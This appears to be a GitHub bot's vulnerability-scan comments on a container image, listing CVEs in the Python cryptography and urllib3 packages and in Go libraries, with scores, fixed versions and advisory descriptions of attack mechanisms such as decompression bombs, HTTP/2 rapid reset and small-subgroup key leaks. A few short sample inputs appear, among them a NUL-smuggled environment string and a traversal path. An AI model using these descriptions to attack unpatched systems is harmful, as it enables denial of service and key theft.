        The public_key_from_numbers (or EllipticCurvePublicNumbers.public_key()), EllipticCurvePublicNumbers.public_key(), load_der_public_key() and load_pem_public_key() functions do not verify that the point belongs to the expected prime-order subgroup of the curve.

        This missing validation allows an attacker to provide a public key point P from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as S = [victim_private_key]P via ECDH, this leaks information about victim_private_key mod (small_subgroup_order). For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup.

        Only SECT curves are impacted by this.

        Credit

        This vulnerability was discovered by:

        • XlabAI Team of Tencent Xuanwu Lab
        • Atuin Automated Vulnerability Discovery Engine

        high 7.5: CVE--2024--26130 NULL Pointer Dereference

        Affected range>=38.0.0
        <42.0.4
        Fixed version42.0.4
        CVSS Score7.5
        CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
        EPSS Score0.341%
        EPSS Percentile56th percentile
        Description

        If pkcs12.serialize_key_and_certificates is called with both:

        1. A certificate whose public key did not match the provided private key
        2. An encryption_algorithm with hmac_hash set (via PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)

        Then a NULL pointer dereference would occur, crashing the Python process.

        This has been resolved, and now a ValueError is properly raised.

        Patched in pyca/cryptography#10423

        critical: 0 high: 3 medium: 0 low: 0 urllib3 2.0.7 (pypi)

        pkg:pypi/urllib3@2.0.7

        high 8.9: CVE--2026--21441 Improper Handling of Highly Compressed Data (Data Amplification)

        Affected range>=1.22
        <2.6.3
        Fixed version2.6.3
        CVSS Score8.9
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
        EPSS Score0.031%
        EPSS Percentile9th percentile
        Description

        Impact

        urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

        urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption.

        However, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409).

        Affected usages

        Applications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting preload_content=False when they do not disable redirects.

        Remediation

        Upgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when preload_content=False.

        If upgrading is not immediately possible, disable redirects by setting redirect=False for requests to untrusted source.

        high 8.9: CVE--2025--66471 Improper Handling of Highly Compressed Data (Data Amplification)

        Affected range>=1.0
        <2.6.0
        Fixed version2.6.0
        CVSS Score8.9
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
        EPSS Score0.027%
        EPSS Percentile7th percentile
        Description

        Impact

        urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

        When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation.

        The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.

        Affected usages

        Applications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources.

        stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), readinto(b) are examples of urllib3.HTTPResponse method calls using the affected logic unless decoding is disabled explicitly.

        Remediation

        Upgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount.

        If your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the urllib3[brotli] extra in the patched versions of urllib3.

        Credits

        The issue was reported by @Cycloctane.
        Supplemental information was provided by @stamparm during a security audit performed by 7ASecurity and facilitated by OSTIF.

        high 8.9: CVE--2025--66418 Allocation of Resources Without Limits or Throttling

        Affected range>=1.24
        <2.6.0
        Fixed version2.6.0
        CVSS Score8.9
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
        EPSS Score0.029%
        EPSS Percentile8th percentile
        Description

        Impact

        urllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., Content-Encoding: gzip, zstd).

        However, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data.

        Affected usages

        Applications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly.

        Remediation

        Upgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5.

        If upgrading is not immediately possible, use preload_content=False and ensure that resp.headers["content-encoding"] contains a safe number of encodings before reading the response content.

        critical: 0 high: 1 medium: 0 low: 0 golang.org/x/crypto 0.36.0 (golang)

        pkg:golang/golang.org/x/crypto@0.36.0

        high : CVE--2025--47913

        Affected range<0.43.0
        Fixed version0.43.0
        EPSS Score0.033%
        EPSS Percentile10th percentile
        Description

        SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

        @github-actions
        Copy link

        github-actions bot commented Feb 25, 2026 •
        edited
        Loading

        Outdated

        Recommended fixes for image ghcr.io/dependabot/dependabot-updater-core:latest

        Base image is ubuntu:24.04

        Name24.04
        Digestsha256:98ff7968124952e719a8a69bb3cccdd217f5fe758108ac4f21ad22e1df44d237
        Vulnerabilitiescritical: 0 high: 0 medium: 4 low: 5
        Pushed2 weeks ago
        Size30 MB
        Packages131
        OS24.04
        The base image is also available under the supported tag(s): latest, noble

        Refresh base image

        Rebuild the image using a newer base image version. Updating this may result in breaking changes.

        ✅ This image version is up to date.

        Change base image

        TagDetailsPushedVulnerabilities
        26.04
        Major OS version update
        Also known as:
        • devel
        • resolute
        • resolute-20260108
        		 Benefits:
        • Image contains 9 fewer packages
        • Image has similar size
        • Image introduces no new vulnerability but removes 9
        • Major OS version update
        Image details:
        • Size: 34 MB
        • OS: 26.04
        		 1 month ago



        25.10
        Major OS version update
        Also known as:
        • rolling
        • questing
        • questing-20251217
        		 Benefits:
        • Image contains 7 fewer packages
        • Image has similar size
        • Image introduces no new vulnerability but removes 9
        • Major OS version update
        Image details:
        • Size: 34 MB
        • OS: 25.10
        		 2 months ago



        1 similar comment
        @github-actions
        Copy link

        github-actions bot commented Feb 25, 2026 •
        edited
        Loading

        Outdated

        Recommended fixes for image ghcr.io/dependabot/dependabot-updater-core:latest

        Base image is ubuntu:24.04

        Name24.04
        Digestsha256:98ff7968124952e719a8a69bb3cccdd217f5fe758108ac4f21ad22e1df44d237
        Vulnerabilitiescritical: 0 high: 0 medium: 4 low: 5
        Pushed2 weeks ago
        Size30 MB
        Packages131
        OS24.04
        The base image is also available under the supported tag(s): latest, noble

        Refresh base image

        Rebuild the image using a newer base image version. Updating this may result in breaking changes.

        ✅ This image version is up to date.

        Change base image

        TagDetailsPushedVulnerabilities
        26.04
        Major OS version update
        Also known as:
        • devel
        • resolute
        • resolute-20260108
        		 Benefits:
        • Image contains 9 fewer packages
        • Image has similar size
        • Image introduces no new vulnerability but removes 9
        • Major OS version update
        Image details:
        • Size: 34 MB
        • OS: 26.04
        		 1 month ago



        25.10
        Major OS version update
        Also known as:
        • rolling
        • questing
        • questing-20251217
        		 Benefits:
        • Image contains 7 fewer packages
        • Image has similar size
        • Image introduces no new vulnerability but removes 9
        • Major OS version update
        Image details:
        • Size: 34 MB
        • OS: 25.10
        		 2 months ago



        @github-actions
        Copy link

        github-actions bot commented Feb 25, 2026 •
        edited
        Loading

        Outdated

        🔍 Vulnerabilities of ghcr.io/dependabot/dependabot-updater-core:latest

        📦 Image Reference ghcr.io/dependabot/dependabot-updater-core:latest
        digestsha256:bf54b2c91cecf373014f9da2661b8bde31e370172c9d5e3bc190b683ca4e2139
        vulnerabilitiescritical: 6 high: 51 medium: 0 low: 0
        platformlinux/amd64
        size347 MB
        packages597
        📦 Base Image ubuntu:24.04
        also known as
        • latest
        • noble
        digestsha256:98ff7968124952e719a8a69bb3cccdd217f5fe758108ac4f21ad22e1df44d237
        vulnerabilitiescritical: 0 high: 0 medium: 4 low: 5
        critical: 5 high: 38 medium: 0 low: 0 stdlib 1.18.3 (golang)

        pkg:golang/stdlib@1.18.3

        critical : CVE--2025--68121

        Affected range<1.24.13
        Fixed version1.24.13
        EPSS Score0.016%
        EPSS Percentile3rd percentile
        Description

        During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake.

        critical : CVE--2024--24790

        Affected range<1.21.11
        Fixed version1.21.11
        EPSS Score0.082%
        EPSS Percentile24th percentile
        Description

        The various Is methods (IsPrivate, IsLoopback, etc) did not work as expected for IPv4-mapped IPv6 addresses, returning false for addresses which would return true in their traditional IPv4 forms.

        critical : CVE--2023--24540

        Affected range<1.19.9
        Fixed version1.19.9
        EPSS Score0.243%
        EPSS Percentile47th percentile
        Description

        Not all valid JavaScript whitespace characters are considered to be whitespace. Templates containing whitespace characters outside of the character set "\t\n\f\r\u0020\u2028\u2029" in JavaScript contexts that also contain actions may not be properly sanitized during execution.

        critical : CVE--2023--24538

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.646%
        EPSS Percentile70th percentile
        Description

        Templates do not properly consider backticks (`) as Javascript string delimiters, and do not escape them as expected.

        Backticks are used, since ES6, for JS template literals. If a template contains a Go template action within a Javascript template literal, the contents of the action can be used to terminate the literal, injecting arbitrary Javascript code into the Go template.

        As ES6 template literals are rather complex, and themselves can do string interpolation, the decision was made to simply disallow Go template actions from being used inside of them (e.g. "var a = {{.}}"), since there is no obviously safe way to allow this behavior. This takes the same approach as github.com/google/safehtml.

        With fix, Template.Parse returns an Error when it encounters templates like this, with an ErrorCode of value 12. This ErrorCode is currently unexported, but will be exported in the release of Go 1.21.

        Users who rely on the previous behavior can re-enable it using the GODEBUG flag jstmpllitinterp=1, with the caveat that backticks will now be escaped. This should be used with caution.

        critical : CVE--2025--22871

        Affected range<1.23.8
        Fixed version1.23.8
        EPSS Score0.169%
        EPSS Percentile38th percentile
        Description

        The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

        high : CVE--2023--29403

        Affected range<1.19.10
        Fixed version1.19.10
        EPSS Score0.009%
        EPSS Percentile1st percentile
        Description

        On Unix platforms, the Go runtime does not behave differently when a binary is run with the setuid/setgid bits. This can be dangerous in certain cases, such as when dumping memory state, or assuming the status of standard i/o file descriptors.

        If a setuid/setgid binary is executed with standard I/O file descriptors closed, opening any files can result in unexpected content being read or written with elevated privileges. Similarly, if a setuid/setgid program is terminated, either via panic or signal, it may leak the contents of its registers.

        high : CVE--2025--61729

        Affected range<1.24.11
        Fixed version1.24.11
        EPSS Score0.017%
        EPSS Percentile4th percentile
        Description

        Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

        high : CVE--2025--61726

        Affected range<1.24.12
        Fixed version1.24.12
        EPSS Score0.026%
        EPSS Percentile7th percentile
        Description

        The net/url package does not set a limit on the number of query parameters in a query.

        While the maximum size of query parameters in URLs is generally limited by the maximum request header size, the net/http.Request.ParseForm method can parse large URL-encoded forms. Parsing a large form containing many unique query parameters can cause excessive memory consumption.

        high : CVE--2025--61725

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.031%
        EPSS Percentile9th percentile
        Description

        The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

        high : CVE--2025--61723

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.038%
        EPSS Percentile11th percentile
        Description

        The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

        This affects programs which parse untrusted PEM inputs.

        high : CVE--2025--58188

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

        This affects programs which validate arbitrary certificate chains.

        high : CVE--2025--58187

        Affected range<1.24.9
        Fixed version1.24.9
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

        This affects programs which validate arbitrary certificate chains.

        high : CVE--2024--34158

        Affected range<1.22.7
        Fixed version1.22.7
        EPSS Score0.163%
        EPSS Percentile37th percentile
        Description

        Calling Parse on a "// +build" build tag line with deeply nested expressions can cause a panic due to stack exhaustion.

        high : CVE--2024--34156

        Affected range<1.22.7
        Fixed version1.22.7
        EPSS Score0.306%
        EPSS Percentile53rd percentile
        Description

        Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion. This is a follow-up to CVE-2022-30635.

        high : CVE--2024--24791

        Affected range<1.21.12
        Fixed version1.21.12
        EPSS Score0.618%
        EPSS Percentile70th percentile
        Description

        The net/http HTTP/1.1 client mishandled the case where a server responds to a request with an "Expect: 100-continue" header with a non-informational (200 or higher) status. This mishandling could leave a client connection in an invalid state, where the next request sent on the connection will fail.

        An attacker sending a request to a net/http/httputil.ReverseProxy proxy can exploit this mishandling to cause a denial of service by sending "Expect: 100-continue" requests which elicit a non-informational response from the backend. Each such request leaves the proxy with an invalid connection, and causes one subsequent request using that connection to fail.

        high : CVE--2024--24784

        Affected range<1.21.8
        Fixed version1.21.8
        EPSS Score1.498%
        EPSS Percentile81st percentile
        Description

        The ParseAddressList function incorrectly handles comments (text within parentheses) within display names. Since this is a misalignment with conforming address parsers, it can result in different trust decisions being made by programs using different parsers.

        high : CVE--2023--45288

        Affected range<1.21.9
        Fixed version1.21.9
        EPSS Score71.463%
        EPSS Percentile99th percentile
        Description

        An attacker may cause an HTTP/2 endpoint to read arbitrary amounts of header data by sending an excessive number of CONTINUATION frames.

        Maintaining HPACK state requires parsing and processing all HEADERS and CONTINUATION frames on a connection. When a request's headers exceed MaxHeaderBytes, no memory is allocated to store the excess headers, but they are still parsed.

        This permits an attacker to cause an HTTP/2 endpoint to read arbitrary amounts of header data, all associated with a request which is going to be rejected. These headers can include Huffman-encoded data which is significantly more expensive for the receiver to decode than for an attacker to send.

        The fix sets a limit on the amount of excess header frames we will process before closing a connection.

        high : CVE--2023--45287

        Affected range<1.20.0
        Fixed version1.20.0
        EPSS Score0.190%
        EPSS Percentile41st percentile
        Description

        Before Go 1.20, the RSA based TLS key exchanges used the math/big library, which is not constant time. RSA blinding was applied to prevent timing attacks, but analysis shows this may not have been fully effective. In particular it appears as if the removal of PKCS#1 padding may leak timing information, which in turn could be used to recover session key bits.

        In Go 1.20, the crypto/tls library switched to a fully constant time RSA implementation, which we do not believe exhibits any timing side channels.

        high : CVE--2023--45283

        Affected range<1.20.11
        Fixed version1.20.11
        EPSS Score0.083%
        EPSS Percentile24th percentile
        Description

        The filepath package does not recognize paths with a ??\ prefix as special.

        On Windows, a path beginning with ??\ is a Root Local Device path equivalent to a path beginning with \?. Paths with a ??\ prefix may be used to access arbitrary locations on the system. For example, the path ??\c:\x is equivalent to the more common path c:\x.

        Before fix, Clean could convert a rooted path such as \a..??\b into the root local device path ??\b. Clean will now convert this to .??\b.

        Similarly, Join(, ??, b) could convert a seemingly innocent sequence of path elements into the root local device path ??\b. Join will now convert this to .??\b.

        In addition, with fix, IsAbs now correctly reports paths beginning with ??\ as absolute, and VolumeName correctly reports the ??\ prefix as a volume name.

        UPDATE: Go 1.20.11 and Go 1.21.4 inadvertently changed the definition of the volume name in Windows paths starting with ?, resulting in filepath.Clean(?\c:) returning ?\c: rather than ?\c:\ (among other effects). The previous behavior has been restored.

        high : CVE--2023--44487

        Affected range<1.20.10
        Fixed version1.20.10
        EPSS Score94.446%
        EPSS Percentile100th percentile
        Description

        A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing.

        With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection.

        This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2.

        The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function.

        high : CVE--2023--39325

        Affected range<1.20.10
        Fixed version1.20.10
        EPSS Score0.150%
        EPSS Percentile35th percentile
        Description

        A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing.

        With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection.

        This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2.

        The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function.

        high : CVE--2023--24537

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.013%
        EPSS Percentile2nd percentile
        Description

        Calling any of the Parse functions on Go source code which contains //line directives with very large line numbers can cause an infinite loop due to integer overflow.

        high : CVE--2023--24536

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.070%
        EPSS Percentile21st percentile
        Description

        Multipart form parsing can consume large amounts of CPU and memory when processing form inputs containing very large numbers of parts.

        This stems from several causes:

        1. mime/multipart.Reader.ReadForm limits the total memory a parsed multipart form can consume. ReadForm can undercount the amount of memory consumed, leading it to accept larger inputs than intended.
        2. Limiting total memory does not account for increased pressure on the garbage collector from large numbers of small allocations in forms with many parts.
        3. ReadForm can allocate a large number of short-lived buffers, further increasing pressure on the garbage collector.

        The combination of these factors can permit an attacker to cause an program that parses multipart forms to consume large amounts of CPU and memory, potentially resulting in a denial of service. This affects programs that use mime/multipart.Reader.ReadForm, as well as form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue.

        With fix, ReadForm now does a better job of estimating the memory consumption of parsed forms, and performs many fewer short-lived allocations.

        In addition, the fixed mime/multipart.Reader imposes the following limits on the size of parsed forms:

        1. Forms parsed with ReadForm may contain no more than 1000 parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxparts=.
        2. Form parts parsed with NextPart and NextRawPart may contain no more than 10,000 header fields. In addition, forms parsed with ReadForm may contain no more than 10,000 header fields across all parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxheaders=.

        high : CVE--2023--24534

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.048%
        EPSS Percentile15th percentile
        Description

        HTTP and MIME header parsing can allocate large amounts of memory, even when parsing small inputs, potentially leading to a denial of service.

        Certain unusual patterns of input data can cause the common function used to parse HTTP and MIME headers to allocate substantially more memory than required to hold the parsed headers. An attacker can exploit this behavior to cause an HTTP server to allocate large amounts of memory from a small request, potentially leading to memory exhaustion and a denial of service.

        With fix, header parsing now correctly allocates only the memory required to hold parsed headers.

        high : CVE--2022--41725

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.055%
        EPSS Percentile17th percentile
        Description

        A denial of service is possible from excessive resource consumption in net/http and mime/multipart.

        Multipart form parsing with mime/multipart.Reader.ReadForm can consume largely unlimited amounts of memory and disk files. This also affects form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue.

        ReadForm takes a maxMemory parameter, and is documented as storing "up to maxMemory bytes +10MB (reserved for non-file parts) in memory". File parts which cannot be stored in memory are stored on disk in temporary files. The unconfigurable 10MB reserved for non-file parts is excessively large and can potentially open a denial of service vector on its own. However, ReadForm did not properly account for all memory consumed by a parsed form, such as map entry overhead, part names, and MIME headers, permitting a maliciously crafted form to consume well over 10MB. In addition, ReadForm contained no limit on the number of disk files created, permitting a relatively small request body to create a large number of disk temporary files.

        With fix, ReadForm now properly accounts for various forms of memory overhead, and should now stay within its documented limit of 10MB + maxMemory bytes of memory consumption. Users should still be aware that this limit is high and may still be hazardous.

        In addition, ReadForm now creates at most one on-disk temporary file, combining multiple form parts into a single temporary file. The mime/multipart.File interface type's documentation states, "If stored on disk, the File's underlying concrete type will be an *os.File.". This is no longer the case when a form contains more than one file part, due to this coalescing of parts into a single file. The previous behavior of using distinct files for each form part may be reenabled with the environment variable GODEBUG=multipartfiles=distinct.

        Users should be aware that multipart.ReadForm and the http.Request methods that call it do not limit the amount of disk consumed by temporary files. Callers can limit the size of form data with http.MaxBytesReader.

        high : CVE--2022--41724

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.015%
        EPSS Percentile3rd percentile
        Description

        Large handshake records may cause panics in crypto/tls.

        Both clients and servers may send large TLS handshake records which cause servers and clients, respectively, to panic when attempting to construct responses.

        This affects all TLS 1.3 clients, TLS 1.2 clients which explicitly enable session resumption (by setting Config.ClientSessionCache to a non-nil value), and TLS 1.3 servers which request client certificates (by setting Config.ClientAuth >= RequestClientCert).

        high : CVE--2022--41723

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.195%
        EPSS Percentile41st percentile
        Description

        A maliciously crafted HTTP/2 stream could cause excessive CPU consumption in the HPACK decoder, sufficient to cause a denial of service from a small number of small requests.

        high : CVE--2022--41722

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.175%
        EPSS Percentile39th percentile
        Description

        A path traversal vulnerability exists in filepath.Clean on Windows.

        On Windows, the filepath.Clean function could transform an invalid path such as "a/../c:/b" into the valid path "c:\b". This transformation of a relative (if invalid) path into an absolute path could enable a directory traversal attack.

        After fix, the filepath.Clean function transforms this path into the relative (but still invalid) path ".\c:\b".

        high : CVE--2022--41720

        Affected range<1.18.9
        Fixed version1.18.9
        EPSS Score0.035%
        EPSS Percentile10th percentile
        Description

        On Windows, restricted files can be accessed via os.DirFS and http.Dir.

        The os.DirFS function and http.Dir type provide access to a tree of files rooted at a given directory. These functions permit access to Windows device files under that root. For example, os.DirFS("C:/tmp").Open("COM1") opens the COM1 device. Both os.DirFS and http.Dir only provide read-only filesystem access.

        In addition, on Windows, an os.DirFS for the directory (the root of the current drive) can permit a maliciously crafted path to escape from the drive and access any path on the system.

        With fix applied, the behavior of os.DirFS("") has changed. Previously, an empty root was treated equivalently to "/", so os.DirFS("").Open("tmp") would open the path "/tmp". This now returns an error.

        high : CVE--2022--41716

        Affected range<1.18.8
        Fixed version1.18.8
        EPSS Score0.013%
        EPSS Percentile2nd percentile
        Description

        Due to unsanitized NUL values, attackers may be able to maliciously set environment variables on Windows.

        In syscall.StartProcess and os/exec.Cmd, invalid environment variable values containing NUL values are not properly checked for. A malicious environment variable value can exploit this behavior to set a value for a different environment variable. For example, the environment variable string "A=B\x00C=D" sets the variables "A=B" and "C=D".

        high : CVE--2022--41715

        Affected range<1.18.7
        Fixed version1.18.7
        EPSS Score0.016%
        EPSS Percentile4th percentile
        Description

        Programs which compile regular expressions from untrusted sources may be vulnerable to memory exhaustion or denial of service.

        The parsed regexp representation is linear in the size of the input, but in some cases the constant factor can be as high as 40,000, making relatively small regexps consume much larger amounts of memory.

        After fix, each regexp being parsed is limited to a 256 MB memory footprint. Regular expressions whose representation would use more space than that are rejected. Normal use of regular expressions is unaffected.

        high : CVE--2022--32189

        Affected range>=1.18.0-0
        <1.18.5
        Fixed version1.18.5
        EPSS Score0.113%
        EPSS Percentile30th percentile
        Description

        Decoding big.Float and big.Rat types can panic if the encoded message is too short, potentially allowing a denial of service.

        high : CVE--2022--30635

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.098%
        EPSS Percentile27th percentile
        Description

        Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion.

        high : CVE--2022--30633

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.096%
        EPSS Percentile27th percentile
        Description

        Unmarshaling an XML document into a Go struct which has a nested field that uses the 'any' field tag can panic due to stack exhaustion.

        high : CVE--2022--30632

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.096%
        EPSS Percentile27th percentile
        Description

        Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion.

        high : CVE--2022--30631

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.041%
        EPSS Percentile12th percentile
        Description

        Calling Reader.Read on an archive containing a large number of concatenated 0-length compressed files can cause a panic due to stack exhaustion.

        high : CVE--2022--30630

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.038%
        EPSS Percentile11th percentile
        Description

        Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion.

        high : CVE--2022--2880

        Affected range<1.18.7
        Fixed version1.18.7
        EPSS Score0.032%
        EPSS Percentile9th percentile
        Description

        Requests forwarded by ReverseProxy include the raw query parameters from the inbound request, including unparsable parameters rejected by net/http. This could permit query parameter smuggling when a Go proxy forwards a parameter with an unparsable value.

        After fix, ReverseProxy sanitizes the query parameters in the forwarded query when the outbound request's Form field is set after the ReverseProxy. Director function returns, indicating that the proxy has parsed the query parameters. Proxies which do not parse query parameters continue to forward the original query parameters unchanged.

        high : CVE--2022--2879

        Affected range<1.18.7
        Fixed version1.18.7
        EPSS Score0.016%
        EPSS Percentile3rd percentile
        Description

        Reader.Read does not set a limit on the maximum size of file headers. A maliciously crafted archive could cause Read to allocate unbounded amounts of memory, potentially causing resource exhaustion or panics. After fix, Reader.Read limits the maximum size of header blocks to 1 MiB.

        high : CVE--2022--28131

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.015%
        EPSS Percentile3rd percentile
        Description

        Calling Decoder.Skip when parsing a deeply nested XML document can cause a panic due to stack exhaustion.

        high : CVE--2022--27664

        Affected range<1.18.6
        Fixed version1.18.6
        EPSS Score0.093%
        EPSS Percentile26th percentile
        Description

        HTTP/2 server connections can hang forever waiting for a clean shutdown that was preempted by a fatal error. This condition can be exploited by a malicious client to cause a denial of service.

        high : CVE--2023--29400

        Affected range<1.19.9
        Fixed version1.19.9
        EPSS Score0.048%
        EPSS Percentile15th percentile
        Description

        Templates containing actions in unquoted HTML attributes (e.g. "attr={{.}}") executed with empty input can result in output with unexpected results when parsed due to HTML normalization rules. This may allow injection of arbitrary attributes into tags.

        high : CVE--2023--24539

        Affected range<1.19.9
        Fixed version1.19.9
        EPSS Score0.065%
        EPSS Percentile20th percentile
        Description

        Angle brackets (<>) are not considered dangerous characters when inserted into CSS contexts. Templates containing multiple actions separated by a '/' character can result in unexpectedly closing the CSS context and allowing for injection of unexpected HTML, if executed with untrusted input.

        critical: 1 high: 6 medium: 0 low: 0 stdlib 1.24.4 (golang)

        pkg:golang/stdlib@1.24.4

        critical : CVE--2025--68121

        Affected range<1.24.13
        Fixed version1.24.13
        EPSS Score0.016%
        EPSS Percentile3rd percentile
        Description

        During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake.

        high : CVE--2025--61729

        Affected range<1.24.11
        Fixed version1.24.11
        EPSS Score0.017%
        EPSS Percentile4th percentile
        Description

        Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

        high : CVE--2025--61726

        Affected range<1.24.12
        Fixed version1.24.12
        EPSS Score0.026%
        EPSS Percentile7th percentile
        Description

        The net/url package does not set a limit on the number of query parameters in a query.

        While the maximum size of query parameters in URLs is generally limited by the maximum request header size, the net/http.Request.ParseForm method can parse large URL-encoded forms. Parsing a large form containing many unique query parameters can cause excessive memory consumption.

        high : CVE--2025--61725

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.031%
        EPSS Percentile9th percentile
        Description

        The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

        high : CVE--2025--61723

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.038%
        EPSS Percentile11th percentile
        Description

        The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

